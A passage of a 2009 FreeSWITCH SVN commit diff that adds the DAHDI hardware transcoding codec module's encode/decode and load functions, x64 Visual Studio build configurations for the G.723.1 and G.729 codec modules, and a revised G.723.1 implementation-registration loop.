+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to read from %s encoder device: %s.\n", transcoder_name, strerror(errno));
+		return SWITCH_STATUS_FALSE;
+	}
+	*encoded_data_len = res;
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Read %d bytes of encoded data.\n", res);
+#endif
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t switch_dahdi_decode(switch_codec_t *codec,
+										   switch_codec_t *other_codec,
+										   void *encoded_data,
+										   uint32_t encoded_data_len,
+										   uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+										   unsigned int *flag)
+{
+	int32_t res;
+	short *dbuf_linear;
+	// we only can decode up to half ulaw bytes of whatever their destiny linear buffer is
+	unsigned char dbuf_ulaw[*decoded_data_len/2]; 
+	unsigned char *ebuf_g729;
+	uint32_t i;
+	struct dahdi_context *context;
+	switch_status_t status;
+
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI decode called to decode %d bytes.\n", encoded_data_len);
+#endif
+
+	context = codec->private_info;
+	dbuf_linear = decoded_data;
+	ebuf_g729 = encoded_data;
+
+	if (context->decoding_fd == -1) {
+		if ((status = init_decoder(codec)) != SWITCH_STATUS_SUCCESS) {
+			return status;
+		}
+	}
+
+	if (*flag & SWITCH_CODEC_FLAG_SILENCE) {
+		memset(dbuf_linear, 0, codec->implementation->decoded_bytes_per_packet);
+		*decoded_data_len = codec->implementation->decoded_bytes_per_packet;
+#ifdef DEBUG_DAHDI_CODEC
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI decode in silence returned %d bytes.\n", *decoded_data_len);
+#endif
+		return SWITCH_STATUS_SUCCESS;
+	} 
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Writing %d bytes to decode.\n", encoded_data_len);
+#endif
+	res = write(context->decoding_fd, ebuf_g729, encoded_data_len);
+	if (-1 == res) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to write to %s decoder device: %s.\n", transcoder_name, strerror(errno));
+		return SWITCH_STATUS_FALSE;
+	}
+	if (encoded_data_len != res) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n", encoded_data_len, transcoder_name, res);
+		return SWITCH_STATUS_FALSE;
+	}
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n", 
+			sizeof(dbuf_ulaw));
+#endif
+	res = wait_for_transcoder(context->decoding_fd);
+	if (-1 == res) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to poll on %s decoder device: %s.\n", transcoder_name, strerror(errno));
+		return SWITCH_STATUS_FALSE;
+	}
+	if (0 == res) {
+		memset(dbuf_linear, 0, codec->implementation->decoded_bytes_per_packet);
+		*decoded_data_len = codec->implementation->decoded_bytes_per_packet;
+#ifdef DEBUG_DAHDI_CODEC
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name, *decoded_data_len);
+#endif
+		return SWITCH_STATUS_SUCCESS;
+	}
+	res = read(context->decoding_fd, dbuf_ulaw, sizeof(dbuf_ulaw));
+	if (-1 == res) {
+		if (EAGAIN == errno || EWOULDBLOCK == errno) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device (%s).\n", transcoder_name, strerror(errno));
+			*decoded_data_len = 0;
+			return SWITCH_STATUS_SUCCESS;
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to read from %s decoder device: %s.\n", transcoder_name, strerror(errno));
+		return SWITCH_STATUS_FALSE;
+	}
+	for (i = 0; i < res; i++) {
+		dbuf_linear[i] = ulaw_to_linear(dbuf_ulaw[i]);
+	}
+	*decoded_data_len = i * 2;
+#ifdef DEBUG_DAHDI_CODEC
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI decode returned %d bytes.\n", *decoded_data_len);
+#endif
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t switch_dahdi_destroy(switch_codec_t *codec)
+{
+	/* memory pool takes care of the private_info memory */
+	struct dahdi_context *context = codec->private_info;
+	if (context->encoding_fd >= 0) {
+		switch_mutex_lock(transcoder_counter_mutex);
+		total_encoders_usage--;
+		switch_mutex_unlock(transcoder_counter_mutex);
+		close(context->encoding_fd);
+	}
+	if (context->decoding_fd >= 0) {
+		switch_mutex_lock(transcoder_counter_mutex);
+		total_decoders_usage--;
+		switch_mutex_unlock(transcoder_counter_mutex);
+		close(context->decoding_fd);
+	}
+	codec->private_info = NULL;
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_STANDARD_API(dahdi_transcode_usage)
+{
+	if (!total_encoders && !total_decoders) {
+		stream->write_function(stream, "No DAHDI transcoding hardware found.\n");
+		return SWITCH_STATUS_SUCCESS;
+	}
+	switch_mutex_lock(transcoder_counter_mutex);
+	stream->write_function(stream, "Using %d encoders of a total of %d available.\n",
+			total_encoders_usage, total_encoders);
+	stream->write_function(stream, "Using %d decoders of a total of %d available.\n",
+			total_decoders_usage, total_decoders);
+	switch_mutex_unlock(transcoder_counter_mutex);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_dahdi_codec_load)
+{
+	switch_api_interface_t *api_interface;
+	switch_codec_interface_t *codec_interface;
+	struct stat statbuf;
+	struct dahdi_transcoder_info info = { 0 };
+	int32_t fd, res;
+
+	total_encoders = 0;
+	total_encoders_usage = 0;
+	total_decoders = 0;
+	total_decoders_usage = 0;
+
+	/* Let's check if DAHDI or Zaptel device should be used */
+	if (!stat(transcoding_device_dahdi, &statbuf)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "DAHDI transcoding device found.\n");
+		transcoding_device = transcoding_device_dahdi;
+		transcoder_name = transcoder_name_dahdi;
+	} else if (!stat(transcoding_device_zap, &statbuf)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Zap transcoding device found.\n");
+		transcoding_device = transcoding_device_zap;
+		transcoder_name = transcoder_name_zap;
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No DAHDI or Zap transcoder device was found in /dev/.\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	fd = open(transcoding_device, O_RDWR);
+	if (fd < 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", 
+				transcoder_name, strerror(errno));
+		return SWITCH_STATUS_FALSE;
+	}
+
+	for (info.tcnum = 0; !(res = ioctl(fd, DAHDI_TC_GETINFO, &info)); info.tcnum++) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found dahdi transcoder name: %s\n", info.name);
+		if ((info.srcfmts & DAHDI_FORMAT_ULAW) && (info.dstfmts & (DAHDI_FORMAT_G729A | DAHDI_FORMAT_G723_1))) {
+			total_encoders += info.numchannels;
+			continue;
+		}
+		if ((info.dstfmts & DAHDI_FORMAT_ULAW) && (info.srcfmts & (DAHDI_FORMAT_G729A | DAHDI_FORMAT_G723_1))) {
+			total_decoders  += info.numchannels;
+			continue;
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, 
+				"Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
+	}
+	close(fd);
+	
+	if (!total_encoders && !total_decoders) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No DAHDI transcoders found.\n");
+		return SWITCH_STATUS_FALSE;
+	}
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Found %d ULAW to G729A/G723.1 encoders.\n", total_encoders);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Found %d G729A/G723.1 to ULAW decoders.\n", total_decoders);
+
+	switch_mutex_init(&transcoder_counter_mutex, SWITCH_MUTEX_UNNESTED, pool);
+
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+	
+	SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k"); /* 8.0kbit */
+	int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
+	int spf = 160; 
+	int bpfd = 320; 
+	int bpfc = 20; 
+	int fpnp = 20; 
+	switch_core_codec_add_implementation(pool,
+	 codec_interface,
+	 SWITCH_CODEC_TYPE_AUDIO,	/* enumeration defining the type of the codec */
+	 18,				/* the IANA code number */
+	 "G729",  			/* the IANA code name */
+	 NULL,				/* default fmtp to send (can be overridden by the init function) */
+	 8000,				/* samples transferred per second */
+	 8000,				/* actual samples transferred per second */
+	 8000,				/* bits transferred per second */
+	 mpf,				/* number of microseconds per frame */
+	 spf,				/* number of samples per frame */
+	 bpfd,				/* number of bytes per frame decompressed */
+	 bpfc,				/* number of bytes per frame compressed */
+	 1,				/* number of channels represented */
+	 fpnp,				/* number of frames per network packet */
+	 switch_dahdi_init, 		/* function to initialize a codec handle using this implementation */
+	 switch_dahdi_encode,		/* function to encode raw data into encoded data */
+	 switch_dahdi_decode,		/* function to decode encoded data into raw data */
+	 switch_dahdi_destroy);		/* deinitalize a codec handle using this implementation */
+
+	mpf = 30000; 
+	spf = 240; 
+	bpfd = 480; 
+	bpfc = 30; 
+	fpnp = 30; 
+	switch_core_codec_add_implementation(pool,
+	 codec_interface,
+	 SWITCH_CODEC_TYPE_AUDIO,	/* enumeration defining the type of the codec */
+	 18,				/* the IANA code number */
+	 "G729",  			/* the IANA code name */
+	 NULL,				/* default fmtp to send (can be overridden by the init function) */
+	 8000,				/* samples transferred per second */
+	 8000,				/* actual samples transferred per second */
+	 8000,				/* bits transferred per second */
+	 mpf,				/* number of microseconds per frame */
+	 spf,				/* number of samples per frame */
+	 bpfd,				/* number of bytes per frame decompressed */
+	 bpfc,				/* number of bytes per frame compressed */
+	 1,				/* number of channels represented */
+	 fpnp,				/* number of frames per network packet */
+	 switch_dahdi_init, 		/* function to initialize a codec handle using this implementation */
+	 switch_dahdi_encode,		/* function to encode raw data into encoded data */
+	 switch_dahdi_decode,		/* function to decode encoded data into raw data */
+	 switch_dahdi_destroy);		/* deinitalize a codec handle using this implementation */
+
+	SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k"); /* 5.3kbit */
+	mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
+	spf = 240;
+	bpfd = 480;
+	bpfc = 20;
+	fpnp = 10;
+	switch_core_codec_add_implementation(pool,
+	 codec_interface,
+	 SWITCH_CODEC_TYPE_AUDIO,	/* enumeration defining the type of the codec */
+	 4,				/* the IANA code number */
+	 "G723",  			/* the IANA code name */
+	 NULL,				/* default fmtp to send (can be overridden by the init function) */
+	 8000,				/* samples transferred per second */
+	 8000,				/* actual samples transferred per second */
+	 8000,				/* bits transferred per second */
+	 mpf,				/* number of microseconds per frame */
+	 spf,				/* number of samples per frame */
+	 bpfd,				/* number of bytes per frame decompressed */
+	 bpfc,				/* number of bytes per frame compressed */
+	 1,				/* number of channels represented */
+	 fpnp,				/* number of frames per network packet */
+	 switch_dahdi_init, 		/* function to initialize a codec handle using this implementation */
+	 switch_dahdi_encode,		/* function to encode raw data into encoded data */
+	 switch_dahdi_decode,		/* function to decode encoded data into raw data */
+	 switch_dahdi_destroy);		/* deinitalize a codec handle using this implementation */
+
+	SWITCH_ADD_API(api_interface, "dahdi_transcode", "DAHDI Transcode", dahdi_transcode_usage, NULL);
+	switch_console_set_complete("add dahdi_transcode");
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_g723_1


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Debug Passthrough
release
Release Passthrough
debug passthrough
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Debug Passthrough
release
Release Passthrough
debug passthrough
Win32
x64

Modified: freeswitch/branches/seven/src/mod/codecs/mod_g723_1/mod_g723_1.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_g723_1/mod_g723_1.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_g723_1/mod_g723_1.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,75 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libg723\src\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libg723.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\Debug/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(OutDir)/mod_g723_1.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -144,6 +216,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libg723\src\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libg723.lib"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug Passthrough|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
@@ -207,6 +346,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug Passthrough|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libg723\src\include&quot;"
+				PreprocessorDefinitions="G723_PASSTHROUGH"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\Debug/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release Passthrough|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -269,6 +474,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release Passthrough|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libg723\src\include&quot;"
+				PreprocessorDefinitions="G723_PASSTHROUGH"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\release/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/codecs/mod_g723_1/mod_g723_1.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_g723_1/mod_g723_1.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_g723_1/mod_g723_1.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Brian K. West <brian@freeswitch.org>
  *
  * The g723.1 codec itself is not distributed with this module.
@@ -170,15 +170,24 @@
 SWITCH_MODULE_LOAD_FUNCTION(mod_g723_1_load)
 {
 	switch_codec_interface_t *codec_interface;
-	int mpf = 30000, spf = 240, bpf = 480, ebpf = 24, count;
+	int ompf = 30000, ospf = 240, obpf = 480, oebpf = 24, count = 0;
+	int mpf = ompf , spf = ospf , bpf = obpf , ebpf = oebpf ;
+	
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 	SWITCH_ADD_CODEC(codec_interface, "G.723.1 6.3k");
-	for (count = 1; count > 0; count--) {
+
+	for (count = 0; count < 4; count++) {
 		switch_core_codec_add_implementation(pool, codec_interface,
 											 SWITCH_CODEC_TYPE_AUDIO, 4, "G723", NULL, 8000, 8000, 6300,
-											 mpf * count, spf * count, bpf * count, ebpf * count, 1, count,
+											 mpf , spf , bpf , ebpf , 1, count,
 											 switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
+		mpf += ompf;
+		spf += ospf;
+		bpf += obpf;
+		ebpf += oebpf;
+
+
 	}
 	/* indicate that the module should continue to be loaded */
 	return SWITCH_STATUS_SUCCESS;

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_g729


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Debug Passthrough
release
Release Passthrough
debug passthrough
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Debug Passthrough
release
Release Passthrough
debug passthrough
Win32
x64

Modified: freeswitch/branches/seven/src/mod/codecs/mod_g729/mod_g729.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_g729/mod_g729.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_g729/mod_g729.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,75 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libg729\src\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libg729.lib FreeSwitchCore.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\Debug/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -145,6 +217,74 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libg729\src\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libg729.lib"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug Passthrough|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
@@ -208,6 +348,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug Passthrough|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libg729\src\include&quot;"
+				PreprocessorDefinitions="G729_PASSTHROUGH"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\Debug/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release Passthrough|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -270,6 +476,72 @@
